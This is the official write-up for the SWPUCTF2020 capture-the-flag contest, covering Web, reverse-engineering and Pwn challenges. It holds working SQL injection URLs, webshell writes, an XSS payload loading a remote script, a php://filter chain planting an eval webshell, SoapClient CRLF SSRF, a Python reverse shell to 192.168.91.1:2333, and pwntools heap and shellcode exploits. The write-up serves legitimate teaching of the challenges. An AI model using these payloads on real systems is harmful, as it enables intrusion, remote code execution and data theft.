SWPUCTF2020 官方WP

Web

359度防护网站

1.常规解

  1. 网站目录下有常见遗留文件robots.txt 与 index.php.bak

图片

图片

2.bak文件中是base64 解开后得到 important_index_its_so_long_right.php?id=1 页面

图片

3.在上面得到的页面中直接进行联合注入得到所有数据库名,表,字段及内容

http://182.150.46.187:8802/important_index_its_so_long_right.php?id=1' and 1=2 union select 1,2,3,group_concat(SCHEMA_NAME) from information_schema.SCHEMATA-- -

图片

图片

图片

图片

  • 利用得到的 usn和pwd登录进入robots.txt中的 administrator.html

图片

  • 进去后是一个后台,翻看页面后发现无明显可利用点,查看源码发现憨憨开发注释掉的部分

图片

图片

  • 访问 writeuser_00001_log.log 后得到一页的base64,丢burp解码,找到可疑页面 up_lo_ad_ad_min.php

图片

  • 访问发现要登录,但是只有一条信息需要验证,F12发现有输入长度限制为5,猜测是前面log页面中的user:00001

图片

图片

图片

  • 登录成功后发现是一个文件上传点,很多师傅在这里上传了很久都没成功,其实在现在的开发中,只要合理运用白名单,基本就能防死文件上传,这里文件上传的后端验证就是白名单,只能上传jpg,png,gif,所以理论上无法传马

图片

  • 先上传一个正常图片,得到如下信息

图片

  • 之前在h1nt库中拿到的 last_index_come_on_swpu_ctf.php?id=4 页面现在发现可以进去了,这个页面的登录验证就是用的密码是00001的那个页面,进去后发现可以直接sql注入
  • getshell的常规方法中,利用sql语句的into outfile并不算罕见,只是由于很多情况下secure_file_priv并未设置,导致无法进行这类文件读写,但是这在渗透中仍然不应该是被忘记的一种方法,没有尝试就不能凭经验否定这种方法。我们尝试写入一句话,但是考虑到目录可能没有可写权限,我们需要找到一个确定有可写权限的文件夹,很容易联想到上传页面暴漏的文件夹就有可写权限,于是构造语句写入一句话

图片

图片

  • 利用木马文件进行命令执行system(‘cat /flag’);即可获得flag

图片

2.非预期

  • 出题时本意是在前台页面用WAF防死SQL注入,但是由于WAF版本未及时更新,有少数师傅用load_file将文件暴力读取了,类似这种

图片

sqlsqlsql

前言

此题参考了第三届CBCTF的sql-labs

过滤

自己测试可以发现如下过滤

图片

图片

解题思路

users表字段 id name emile salary

flllag表字段 id asuazttaz

查看源码可以获得提示

<!-- select * from users where id = '$id'-->

这个提示是想说明要闭合id字段的引号
结合页面的英文提示,很容易想到这个题是时间盲注

需要注意的点

  1. 用异或来闭合引号
  2. case when then else end来替代if
  3. 用join多个大表造成延时
  4. 通过mysql5.7的sys.schema_table_statistics_with_buffer表查询表名
  5. 通过无列名注入获取字段内容
  6. 通过括号,或者引号包裹来代替空格
  7. flllag表有两个字段且flag值在第二个字段
  8. 通过like或者regexp来匹配结果(但是这里不能用like,师傅们结合flag内容具体想想,卖个关子)

payload

两秒左右的延时

查表名

http://182.150.46.187:8801/ttttt/?id=1'^(select(case'1'when((select(select(group_concat(table_name))from(sys.schema_table_statistics_with_buffer)where(table_schema=database()))regexp"flllag"))then'1'else(select(count(*))from((mysql.help_relation)join(mysql.help_topic)join(mysql.proc)))end))^'1

查字段内容

http://182.150.46.187:8801/ttttt/?id=1'^(select(case'1'when((select(select(group_concat(`2`))from(select*from(select(1))as`a`join(select(2))as`b`union(select*from(flllag)))as`a`)regexp"flag{aaa"))then'1'else(select(count(*))from((mysql.help_relation)join(mysql.help_topic)join(mysql.proc)))end))^'1

脚本就不给了,因为这个题是0解,师傅们看payload自己重新做吧
题目环境会开放几天的

flag{blind_1nj3ct10n_1s_very_s1mpl3}

太极

简单测试发现注册处存在无过滤xss漏洞,注册时插入payload

用户名: 密码随意

管理员会定期刷新页面,但是由于设置了httponly,不能直接获取cookie

可以看到:

图片

图片

当我们直接访问这个ssrf_for_test.php时提示“权限不足”,但我们可以借助管理员的身份来触发这个ssrf,即是通过xss+csrf发起一个ssrf请求,提示也告诉flag在redis的flag字段,我们只要抓一下这个数据包,构造出这个过程,然后去接收返回结果就行。(网上已有很多资料,ssrf打redis等等)

图片

注册用户

<script src="[http://xxxxxxxxx/getflag.js](http://xxxxxxxxx/getflag.js)></script>

监听一哈 python3 -m http.server 9999

上个厕所回来就看到flag

noobpy

发现

图片

内存在命令注入

或者尝试报错也能发现。

图片

将request的[]重载为exec实现命令执行,并且用UA头来注入

反弹shell拿到flag

Exp:

import requests
 
url ="http://192.168.31.51:6061/Equ.php"
 
s= requests.Session()
 
def exp(poc1,poc2):
    data = {
        "left":poc1+"1",
        "right":"1"
    }
    header = {
        "User-Agent":poc2
    }
    req = s.post(url,data=data,headers=header)
    print req.text
#exp('__builtins__.eval=__builtins__.exec#',"xxx")
exp("request.__class__.__getitem__=__builtins__.exec;request[request.user_agent.string];",'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.91.1",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);')

原谅最光荣

ps: 来自真实环境,稍微增加了一点CTF特色

1.打开题目链接,点开页面上的几个链接发现路由是xxx.action会以为是java,扫描或者是常识访问到robots.txt

图片

可以看到是php的,题目提到包容二字以及从这几个路径可以推断该题目是伪静态+文件包含,至于是本地还是远程需要进一步验证:

访问:/.%2f.%2f.%2fpricing.action,返回对应pricing.action页面,说明可以拼接路径,但是测试无法跳转,尝试包含/etc/passwd、日志、/proc/self/也无结果,这时可以尝试远程文件包含:

访问:/http:%2f%2fwww.baidu.com.action,截图如下:

图片

结果触发了规则,注意看http:/www 中间少了个斜线,然后看代码,发现对path进行了url解码,所以可以在传入路径时使用http:%252f%2fwww.baidu.com来绕过这个问题。

继续看代码,下面对path开头的几个字符做了检测,这里被检测的字符串数组内容未知。由于php能用的伪协议就那么几种,挨个测试即可。

最后发现可以用php://filter包含本地文件获得源码:

http://47.116.79.40:32773/php:%252f%252ffilter/convert.base64-encode/resource=contact.action

图片

但是这里是无法通过这个来读取到flag的,因为前面测试可以知道该网站代码会对path添加一个文件后缀然后包含,所以这个题应该是需要获取webshell才能拿到flag。

这里我们可以用resource=http://xxx.xxx.com/xxx来包含远程文档,但是测试可知无法包含外网资源,只能包含localhost(注意末尾加%23来绕过文件后缀):

http://47.116.79.40:32773/php:%252f%252ffilter%2fconvert.base64-encode%2fresource=http:%252f%252f127.0.0.1/%23.action

图片

(这样是没有问题的)

然后在页面可以找到一个contact.action存在一个GET型表单,提交的值可以在输出中打印出来,但是值被实体化了(无法在页面显示出<>等符号)。

图片

这里的思路是通过base64-decode来将我们传入的base64字符串解成<?php的代码,从而绕过htlm实体化编码,但是convert.base64-decode这个过滤器相对base64-decode函数来说比较古怪,在字符中间遇到等号会直接报错。

这里去除等号的方法可能不唯一,我选择使用简单的utf-7编码,编码规则可以自行查看wiki,大体上是字母数字和个别符号属于直接编码,也就是直接输出;而等号属于可选的直接编码字符,一般会进行base64然后成为这种:-Iwo+。最后payload为:

http://47.116.79.40:32773/php%3A%252F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fconvert.base64-decode%2fresource%3Dhttp:%252f/localhost/contact.action%3fname=xxPD9waHAgZXZhbCgkX0dFVFsxMjNdKTs%252fPg%23.action?123=echo+%22%3Ch1%3Epwned!!!%3C/h1%3E%22;

格式化一下:

http://47.116.79.40:32773/php://filter/convert.iconv.utf-8.utf-7/convert.base64-decode/resource=http://localhost/contact.action?name=xxPD9waHAgZXZhbCgkX0dFVFsxMjNdKTs/Pg#.action?123=echo+"<h1>pwned!!!</h1>";

访问结果:

图片

值得注意的是,经过base64编码payload的偏移量必须为4的整数倍,因为base64解码是以4字节一组进行转换。

拿到shell后,flag.txt在根目录可以看到。

重来

访问网站,是个登陆

图片

登陆处发现login.js

test@qq.com test登录

图片

更改user为admin,访问,越权成功

http://xxxx.xxx.xxx.xx/a.php?classname=index&param2=admin

发现地址发生了变化并且多了一个隐藏的表单

图片

提交id=1

图片

提示要127.0.0.1,那就是需要ssrf了,观察登陆时的url

http://192.144.157.29:8080/a.php?classname=login&param2=1

classname是一个类名字,param2是这个类的第2个参数,这里存在一个任意对象实列化漏洞,输入一个不存在的类

图片

输入php的内置类Exception

图片

内置类SimpleXMLElement

图片

2者都报第二个参数错误,应该是第一个参数被固定了,结合ssrf,想到了内置类soapClient,验证

http://xxxxxxx/a.php?classname=soapclient&param2[location]=http://vps/&param2[uri]=1231

图片

但soapclient只能传递get参数,post为自己生成的xml数据,不可控,但soapclient可以自己配置部分请求头如user_agent,并且存在CRLF问题,比如

图片

构造一个post请求,注意带上cookie

http://xxxx/a.php?classname=soapclient&param2[location]=http://127.0.0.1/new_adminuser.php&param2[user_agent]=aa%0d%0aCookie:%20isadmin=1;flag=1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%20367%0d%0a%0d%0aid=1%26a=&param2[uri]=123

图片

更改vps为127.0.0.1,仍然没有flag

图片

id参数可能是个注入,尝试注入payload

图片

存在注入,注入脚本

import requests
#url_template="http://xxxxxx/a.php?classname=soapclient&param2[location]=http://127.0.0.1/new_adminuser.php&param2[user_agent]=aa%0d%0aCookie:%20isadmin=1;flag=1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%20367%0d%0a%0d%0aid=1%27%20and ascii(substr(database(),{},1))={}%23%26a=&param2[uri]=123"
#数据库名user
#url_template="http://xxxxxxxx/a.php?classname=soapclient&param2[location]=http://127.0.0.1/new_adminuser.php&param2[user_agent]=aa%0d%0aCookie:%20isadmin=1;flag=1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%20367%0d%0a%0d%0aid=1%27%20and ascii(substr((SELECT group_concat(table_name) FROM information_schema.tables where table_schema=0x75736572),{},1))={}%23%26a=&param2[uri]=123"
#表名flag
#url_template="http://xxxxxxxx/a.php?classname=soapclient&param2[location]=http://127.0.0.1/new_adminuser.php&param2[user_agent]=aa%0d%0aCookie:%20isadmin=1;flag=1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%20367%0d%0a%0d%0aid=1%27%20and ascii(substr((SELECT group_concat(column_name) FROM information_schema.columns where table_name=0x666c6167 ),{},1))={}%23%26a=&param2[uri]=123"
#字段名flaaagggg
url_template="http://xxxxx/a.php?classname=soapclient&param2[location]=http://127.0.0.1/new_adminuser.php&param2[user_agent]=aa%0d%0aCookie:%20isadmin=1;flag=1%0d%0aContent-Type:%20application/x-www-form-urlencoded%0d%0aContent-Length:%20367%0d%0a%0d%0aid=1%27%20and ascii(substr((select group_concat(flaaagggg) from flag),{},1))={}%23%26a=&param2[uri]=123"#payloads='abcdefghijklmnopqrstuvwxyz1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ\,_\{\}'
payloads = 'abcdefghigklmnopqrstuvwxyz,\{\}ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!#$%^&*()-+@_.'
​
database_name=''
for j in range(1,50):
    for i in payloads:
        i_ascii=ord(i)
        url=url_template.format(j,i_ascii)
        result=requests.get(url)
        length=len(result.text)
        if length>300:
            database_name+=i
            print(database_name)
            break

RE

RealEzRE

1. SMC

进入主函数后发现几个被加密后的字符串,通过IDA的Findcrypt 插件发现Base64的表,猜测这些字符串是经过Base64编码的,解密后得知是这里是一些提示信息

图片

下面的操作是对关键函数区块进行smc解密操作,首先通过sub_401B80函数找到要解密的区块始末地址和大小

图片

目标区块和0x67异或解密

图片

图片

IDC 脚本

auto key = 0x67;
auto from = 0x401cc0 + 0x20;
auto size = 0x359;
auto i, x; 
for ( i = 0; i < size; ++i ) 
{ 
    x = Byte(from); 
    x = (x^(key + (i & 0xF))); 
    PatchByte(from,x); 
    from = from + 1;
} 
Message("\n Success \n");
​

2. 关键函数

通过一些操作还原了关键函数,查看伪C代码后发现输入的字符串加密后和特定数值分三次比较

图片

3. 加密函数

图片

通过分析知道这是个RC4加密

图片

解密脚本

#include <stdio.h>
#include <windows.h>struct rc4
{
    int x, y, m[256];
};
​
typedef unsigned char     uint8;
​
int main()
{
    uint8 flag[100] = { 0 };
    uint8 cmp[] = { 0x12,0xa7,0xf5,0xde,0x75,0x2a,0x6e,0x4a,0x6e,0x73,0xe6,0x62,0x50,0xbf,0x2a,0x98,0xfe,0x2b,0xdd,0x7b,0xba,0xb6,0x5,0x13,0x63,0x57,0x2d,0xd4,0x45,0xb8,0xfe,0xbc };
    BYTE  key[8] = { 0x01,0x23,0x45,0x67,0x89,0xAB,0xCD,0xEF };
    int i, j, k, a,b;
    struct rc4 s;
    int length = 8;
    memset(&s, 0, sizeof(s));
    s.x = 0;
    s.y = 0;
    for (i = 0; i < 256; i++)
        s.m[i] = i;
    j = k = 0;
    for (i = 0; i < 256; i++)
    {
        a = s.m[i];
        j = (uint8)(j + a + key[k]);
        s.m[i] = s.m[j]; 
        s.m[j] = a;
        if (++k >= length)
            k = 0;
    }
​
    length = 32;
    for (i = 0; i < length; i++)
    {
        s.x = (uint8)(s.x + 1);
        a = s.m[s.x];
        s.y = (uint8)(s.y + a);
        s.m[s.x] = b = s.m[s.y];
        s.m[s.y] = a;
        flag[i] = cmp[i] ^ s.m[(uint8)(a + b)];
    }
    printf("flag{%s}", flag);
}

Stangeapk

1.

使用jeb3.0打开apk发现字符串被加密了

图片

查看加密函数发现为异或+base64加密 ,编写解密函数

import java.util.Base64;
public class StringFog {
	private static byte[] xor(byte[] data, String key) {     //异或算法
	    int len = data.length;
	    int lenKey = key.length();
	    int i = 0;
	    int j = 0;
	    while (i < len) {
	        if (j >= lenKey) {
	            j = 0;
	        }
	        data[i] = (byte) (data[i] ^ key.charAt(j));
	        i++;
	        j++;
	    }
	    return data;
	}
	public static String encode(String data, String key) {
	    return new String(Base64.getEncoder().encode(xor(data.getBytes(), key)));
	    //调用base64加密包
	}
	public static String decode(String data, String key) {
	    return new String(xor(Base64.getDecoder().decode(data), key));
	    //调用base64解密包
	}

得到关键字符串

if(!name.equals("WLLM")) {
                Toast.makeText(this, "please input your name", 0).show();
                return;
            }
if(!password.equals("welcome_to_SWPUCtf")) {
                Toast.makeText(this, "please input your password", 0).show();
                return;
            }
HttpURLConnection connection = (HttpURLConnection)new URL("http://121.196.219.16:8080/ForAndroid/mustLogin?logname=1&password=1").openConnection();

可以发现这是一个http请求,输入账号密码或者直接访问url均可达到目的
得到服务器返回的字符串:

图片

根据url下载附件realapp

ps:jeb 3.9及以后会自动解密字符串

2.

反编译apk

该apk验证流程为:

对输入内容进行凯撒加密,其中凯撒key被hook了,返回值为18,传入到native层,并对字符串进行异或操作,然后和值进行比较

hook代码:

图片

图片

其中几个重要参数:

比较字符串:{122,125,119,121,71,104,84,85,79,99,13,79,99,125,99,107,78,12,110,91,99,122,13,12,91,65}
异或的值:getInt()函数返回值,一个xtea算法的解密,其中v为{(unsigned int)-355481616,(unsigned int)1654711569},key为{1,2,3,4},返回值为v[0]

通过动态调试或者frida hook,或者观察log日志(出题人忘删除log了,难过.png)
可以得到 v[0]=40

脚本如下:

#include <iostream>
using namespace std;
#include <string>
char small_letter[26] = { 'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z' };
char big_letter[26] = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z' };
char result[1000];
int p;
void decrypt(unsigned int* v, unsigned int* key) {
	unsigned int l = v[0], r = v[1], sum = 0, delta = 0x9e3779b9;
	sum = delta * 32;
	for (size_t i = 0; i < 32; i++) {
		r -= (((l << 4) ^ (l >> 5)) + l) ^ (sum + key[(sum >> 11) & 3]);
		sum -= delta;
		l -= (((r << 4) ^ (r >> 5)) + r) ^ (sum + key[sum & 3]);
	}
	v[0] = l;
	v[1] = r;
}
char* carse(char* estr,int move) {
	for (int i = 0; i < strlen(estr); i++)
	{
		if(estr[i]>='A'&&estr[i]<='Z')
        {
            p=((estr[i]-'A')- move);
            while(p<0)p+=26;
            result[i]=big_letter[p];
        }
        else if (estr[i]>='a'&&estr[i]<='z')
        {
            p=((estr[i]-'a')- move);
            while(p<0)p+=26;
            result[i]=small_letter[p];
        }
        else result[i]= estr[i];
	}
	return result;
}
int main(int argc, char const *argv[])
{
	//test
	unsigned int v[2] = { (unsigned int)-355481616,(unsigned int)1654711569 }, key[4] = { 1,2,3,4 };
	char *FK = (char*)malloc(50);
	char *b = (char*)malloc(50);
	int c[] = { 122,125,119,121,71,104,84,85,79,99,13,79,99,125,99,107,78,12,110,91,99,122,13,12,91,65 };
	decrypt(v, key);
	for (int i = 0; i < 26; i++) {
		FK[i] = c[i] ^ v[0];
	}
	b = carse(FK, 18);
	string eflag=b;
	cout << "flag is:" << eflag.substr(0,26);
	return 0;
}

where_is_temp

本题是通过C语言来调用lua脚本,实现flag的获取与验证操作,所以关键点就是要能提取出原始的lua脚本进行分析。

首先是C语言部分比较简单,就是一些垃圾的反调试,然后就是文件操作,将文件释放到临时文件夹中,拿到了这个脚本发现是luac脚本,luac文件转lua文件其实可以选择的工具很多,我自己选择的是luadec,值得一提的是luadec需要确定具体的lua使用的版本,而这可以通过ida查看程序的字符串就可以发现是lua5.3,这样我们基本就能完整还原出lua文件了。

lua脚本中就是一些简单的换位,异或,查表操作等,当然最后两位比较特殊,看似有多解,但根据费马大定理可得其实n只能等于2,而m就等于40,当然熟悉勾三股四弦五的话很容易也可以猜到。

flag:luA1s_(2_Easy_To_y0u_!!!

简陋的vm

这道题其实就是一个简单的使用c语言模拟执行的vm,本身并没有做什么处理,只需要找到分发器的位置,再将每一条handle解析出来就能还原汇编。

首先是分发器,利用的是push/ret的方式调用的,获取需要call的函数地址,将参数与返回地址依次入栈,最后压入跳转地址ret就可以了,所以需要动态调试一下。

add_call = call_list[vm_call];
__asm
{
 push i;
 sub esp, 0x4;
 mov eax, v_ret;
 mov dword ptr ss : [esp] , eax;
 push add_call;
 ret;
v_ret:
 mov i, eax;
 }

接下来就是解析每个handle,原本的汇编指令应该如下所示:

signed opcode[219] = {
	op_mov, 6, op_ebp, op_esp,
	op_sub, op_esp, 54,
	op_push, op_esi, 							//2 push esi
	op_push, op_edi, 							//2 push edi
	op_mov, 4, op_ecx, 9,						//4 mov ecx,0x9
	op_mov, 0x10, op_esi, 						//3 mov esi,Project2.00C620F8
	op_lea, op_edi, -0x50,						//3 lea edi,dword ptr ss:[ebp-0x50]
	op_rep_movs,		    					//1 rep movs dword ptr es:[edi],dword ptr ds:[esi]
	op_mov, 5, -0x54, 0,						//4 mov dword ptr ss:[ebp-0x54],0x0
	op_jmp,	12,									//2 jmp short Project2.00C61033
	op_mov, 3, op_eax, -0x54,					//4 mov eax,dword ptr ss:[ebp-0x54]
	op_add, op_eax, 0x1,						//3 add eax,0x1
	op_mov, 5, -0x54, op_eax,					//4 mov dword ptr ss:[ebp-0x54],eax
	op_cmp, -0x54, 0x24,						//3 cmp dword ptr ss:[ebp-0x54],0x24
	op_jge, 89,									//2 jge Project2.00C610D6
	op_mov, 3, op_ecx, -0x54,					//4 mov ecx,dword ptr ss:[ebp-0x54]
	op_and, op_ecx, 0x80000001,					//3 and ecx,0x80000001
	op_jns, 8,									//2 jns short Project2.00C6104D
	op_dec, op_ecx,								//2 dec ecx
	op_or, op_ecx, -0x2,						//3 or ecx,-0x2
	op_inc, op_ecx,								//2 inc ecx
	op_test, op_ecx, op_ecx,					//3 test ecx,ecx
	op_je, 35,									//2 je short Project2.00C6106F
	op_mov, 3, op_edx, -0x54,					//4 mov edx,dword ptr ss:[ebp-0x54]
	op_mov, 0x10B, op_eax, op_edx, -0x50,		//5 movzx eax,byte ptr ss:[ebp+edx-0x50]
	op_add, op_eax, 0x5,						//3 add eax,0x5
	op_mov, 4, op_ecx, 0x68,						//4 mov ecx,0x68
	op_sub, 3, op_ecx, -0x54,					//4 sub ecx,dword ptr ss:[ebp-0x54]
	op_xor, op_eax, op_ecx,						//3 xor eax,ecx
	op_mov, 3, op_edx, -0x54,					//4 mov edx,dword ptr ss:[ebp-0x54]
	op_mov, 0x10D, op_edx, -0x2c, op_eax,		//5 mov byte ptr ss:[ebp+edx-0x2C],al
	op_jmp,	32,									//2 jmp short Project2.00C61089
	op_mov, 3, op_eax, -0x54,					//4 mov eax,dword ptr ss:[ebp-0x54]
	op_mov, 0x10B, op_ecx, op_eax, -0x50,		//5 movzx ecx,byte ptr ss:[ebp+eax-0x50]
	op_sub, op_ecx, 0x3,						//3 sub ecx,0x3
	op_mov, 3, op_edx, -0x54,					//4 mov edx,dword ptr ss:[ebp-0x54]
	op_add, op_edx, 0x67,						//3 add edx,0x67
	op_xor, op_ecx, op_edx,						//3 xor ecx,edx
	op_mov, 3, op_eax, -0x54,					//4 mov eax,dword ptr ss:[ebp-0x54]
	op_mov, 0x10D, op_eax, -0x2c, op_ecx, 		//5 mov byte ptr ss:[ebp+eax-0x2C],cl
	op_jmp,	-103,								//2 jmp
	op_mov, 5, -0x54, 0x0,						//4 mov dword ptr ss:[ebp-0x54],0x0
	op_jmp,	12,									//2 jmp short Project2.00C6109B
	op_mov, 3, op_ecx, -0x54,					//4 mov ecx,dword ptr ss:[ebp-0x54]
	op_add, op_ecx, 0x1,						//3 add ecx,0x1
	op_mov, 5, -0x54, op_ecx,					//4 mov dword ptr ss:[ebp-0x54],ecx
	op_cmp, -0x54, 0x12,						//3 cmp dword ptr ss:[ebp-0x54],0x12
	op_jge,	59,									//2 jge short Project2.00C610D1
	op_mov, 3, op_edx, -0x54,					//4 mov edx,dword ptr ss:[ebp-0x54]
	op_add, op_edx, 0x32,						//3 add edx,0x32
	op_mov, 3, op_eax, -0x54,					//4 mov eax,dword ptr ss:[ebp-0x54]
	op_mov, 0x10B, op_ecx, op_eax, -0x2c, 		//5 movzx ecx,byte ptr ss:[ebp+eax-0x2C]
	op_xor, op_ecx, op_edx,						//3 xor ecx,edx
	op_mov, 3, op_edx, -0x54,					//4 mov edx,dword ptr ss:[ebp-0x54]
	op_mov, 0x10D, op_edx, -0x2c, op_ecx,		//5 mov byte ptr ss:[ebp+edx-0x2C],cl
	op_mov, 3, op_eax, -0x54,					//4 mov eax,dword ptr ss:[ebp-0x54]
	op_add, op_eax, 0x23,						//3 add eax,0x23
	op_mov, 3, op_ecx, -0x54,					//4 mov ecx,dword ptr ss:[ebp-0x54]
	op_mov, 0x10B, op_edx, op_ecx, -0x1a,		//5 movzx edx,byte ptr ss:[ebp+ecx-0x1A]
	op_xor, op_edx, op_eax,						//3 xor edx,eax
	op_mov, 3, op_eax, -0x54,					//4 mov eax,dword ptr ss:[ebp-0x54]
	op_mov, 0x10D, op_eax, -0x1a,  op_edx,		//5 mov byte ptr ss:[ebp+eax-0x1A],dl
	op_jmp,	-73,								//2 jmp short Project2.00C61092
	op_xor, op_eax, op_eax,						//3 xor eax,eax
	op_pop, op_edi,								//2 pop edi
	op_pop, op_esi,								//2 pop esi
};

其中寄存器标识就是指代需要使用的寄存器,唯一需要注意的只有在处理mov指令时,还需要根据后一位的标志符来进行判断处理,这里就不再赘述。
以上的汇编代码其实是完全按照一段简单的加密翻译的,其实算法本身完全没有难度

 
unit8 szBuffer[] = "flag{w31c0m325wpuc7f@havea9o0d71m3}";
unit8 out[36];
int i = 0;
for (i = 0; i < 36; ++i)
{
	if (i % 2)
	{
		out[i] = (szBuffer[i] + JI) ^ (0x68 - i);
	}
	else
	{
		out[i] = (szBuffer[i] - OU) ^ (0x67 + i);
	}
}
for (i = 0; i < 18; ++i)
{
	out[i] ^= (i + 0x32);
	out[i + 18] ^= (i + 0x23);

所以我们甚至可以找到模拟的栈中存放我们输入的位置,并找到加密后的存放位置观察其变化,也能进行解析。
至于输入的位置其实可以看见就是利用了lea/rep movs两条指令,所以不管你输入多少,都会取出36位进行加密,只要找到这里,紧跟在后续的位置就是存放加密后的位置。

Re.exe

这道题的思想是 A * B = C

A矩阵可逆,B矩阵是由输入的18个字符低4bit,高4bit位构成6*6的矩阵。

验证1:字符串长度,验证2:B矩阵的和,验证3: A*B是否等于C

已知AC,求B

B = A的逆矩阵*C

然后再根据B矩阵拼接回去,即可得到flag.

Pwn

shellco

在输入name后,如果name的长度等于8,将获得一次输入的机会,此次输入存在溢出,可以修改之后的对话次数,在栈的最顶上存放着一个地址,该地址为对话循环的跳转位置,多次对话将不停向栈上压入对话内容,直到覆盖栈的顶部,修改跳转位置为shellcode。

由于所有被保存的输入都不超过8个字节,且输入后都会再向栈上压入内容,所以shellcode本身不能超过8个字节。shellcode编写思路:在程序开始时,r12寄存器保存了“/bin/sh”的地址,跳转前会执行rax,rbx,rcx,rdx的清零,故shellcode为”mov rbx,r12;mov al,11;int 0x80”

wp

from pwn import*
context(os='linux', arch='amd64', log_level='debug')
p=process("./1")
#p=remote("49.235.209.57",10000)
sleep(0.1)
p.send("\xff"*8)
sleep(0.1)
p.send("\xff"*40+"\x18")
sleep(0.1)
a=16
#pay="\x4c\x89\xe3\xb0\x0b\xcd\x80"
pay=asm("""
mov rbx,r12;
mov al,11;
int 0x80
""")
print len(pay)
sleep(0.1)
p.send(pay)
while(a):
	sleep(0.1)
	a=a-1
	p.sendafter("you lost","\x89\x05\x60\x00\x00\x00\x00\x00")
	p.recv()
p.interactive()

tnote

# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
# context.log_level = 'debug'
binary = "./tnote"
ip = "**.**.**.**"
port = 10000
elf = ELF(binary)
def pwn(ip, port, debug):
    if debug == 1:
        sh = process(binary)
        lib = elf.libc
        # lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")	
    else:
        sh = remote(ip, port)
        lib = ELF("libc-2.27.so")	
        # lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    s       = lambda data               :sh.send(str(data))
    sa      = lambda delim,data         :sh.sendafter(str(delim), str(data))
    sl      = lambda data               :sh.sendline(str(data))
    sla     = lambda delim,data         :sh.sendlineafter(str(delim), str(data))
    r       = lambda numb=4096          :sh.recv(numb,timeout=5)
    ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop,timeout=5)
    irt     = lambda                    :sh.interactive()
    uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
    uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
    lg      = lambda data               :log.success(data)
    def add(size):
        sla(":","A");
        sla("?",str(size));
    def free(idx):
        sla(":","D");
        sla("?",str(idx))
    def edit(idx,content):
        sla(":","E")
        sla("?",str(idx))
        sa(":",content)
    def show(idx):
        sla(":","S")
        sla("?",str(idx))
    add(0x18)
    add(0x18)
    add(0x58)
    add(0x18)
    add(0x78)
    payload = "\x11" * 0x18 + p8(0x81)
    edit(0,payload)
    free(1)
    add(0x78)
    free(4)
    payload = "\x11" * 0x18 + p64(0x81) + "\n"
    edit(1,payload)
    free(2)
    payload = "\x11" * 0x18 + p64(0xdeadbeefdeadbeef) + "\n"
    edit(1,payload)
    show(1)
    ru("\x11" * 0x18 + p64(0xdeadbeefdeadbeef))
    heap_base = uu64(r(6)) - 0x320
    payload = "\x11" * 0x18 + p64(0x81)
    payload += p64(heap_base + 0x10) + "\n"
    edit(1,payload)
    add(0x78)
    add(0x78)
    payload = p64(0) * 4 + p64(0x0f0f0f0f0f0f0f0f) + p64(0) * 9 + p64(heap_base + 0x10) + "\n"
    edit(4,payload)
    free(4)
    add(0x78)
    show(4)
    ru("content:")
    main_arena = uu64(r(6))
    success("main_arena = "+hex(main_arena))
    libc = main_arena - lib.symbols[b'__malloc_hook'] - 96 - 0x10
    success("libc = "+hex(libc))
    lib.address = libc
    system = lib.symbols[b'system']
    __free_hook = lib.symbols[b'__free_hook']
    success("libc_base = "+hex(libc))
    success("sys_addr = "+hex(system))
    payload = p64(0) * 4 + p64(0x0f0f0f0f0f0f0f0f) + p64(0) * 9 + p64(__free_hook - 8) + "\n"
    edit(4,payload)
    add(0x78)
    edit(5,"/bin/sh\x00" + p64(system) + "\n")
    free(5)
    irt()

if __name__ == '__main__':
	pwn(ip, port, 0)

corporate_slave

1)本题为glibc2.27保护全开

2)题目逻辑比较简单,只有一个add功能,并且漏洞点很明显off by X(null),通过readSize的索引来往地址中写一个0字节

3)难点在于如何利用,我们知道当我们malloc一个大的堆块(0x200000)时就会使用mmap来分配堆块,此时堆地址紧挨libc,因此我们可以利用这一点来往libc范围内写0字节,那该往哪里写呢

4)我们首先需要泄露libc,通过源码我们可以知道要想泄露数据需要完成的流程是:puts->_IO_file_xsputn->_IO_file_overflow->_IO_new_do_write->_IO_SYSWRITE (fp, data, to_do);通过条件判定我们需要满足以下条件fp->_flags &~ 0x1000 && fp->_IO_read_end = fp->_IO_write_base,由于0xfbad2887 & 0x1000已经满足了条件,因此只需要让 fp->_IO_read_end = fp->_IO_write_base即可进入_IO_SYSWRITE (fp, fp->_IO_write_base,fp->_IO_write_base-fp->_IO_write_ptr ),从而泄露libc,那泄露libc之后呢?

图片

5)我们第三次写0字节考虑往stdin里面写,将fp->_IO_buf_base的最后一字节写为0,此时io_buf_base恰好指向io_file的头部,因此我们可以伪造整个io_file,那如何getshell呢?

图片

6)我们采用二重写入的方法来将另一部分的io_file写入到stdout,从而当puts的时候通过io_str_overflow来获取shell,那如何二重写入,我们研究一下stdin的源码可以知道,程序在写入之后会回调到_IO_getline,而_IO_getline里面判断了fp->_IO_read_end - fp->_IO_read_ptr是否小于0若小于0则调用__uflow,因此我们需要让fp->_IO_read_end - fp->_IO_read_ptr小于0,在__uflow里面又调用了_IO_default_uflow而此函数调用了_IO_file_underflow,这里就达成了我们二次写入的条件,我们知道第一次只能读0x84的数据因此剩下我们发送的就会通过_IO_SYSREAD (fp, fp->_IO_buf_base, fp->_IO_buf_end - fp->_IO_buf_base);向fp->_IO_buf_base写入,此时fp->_IO_buf_base已经被我们修改为了stdout的头部,因此可以实现二次写入,我们布置好stdout结构体的值使其走向io_str_overflow通过以下源码getshell

图片

最后获取flag

find

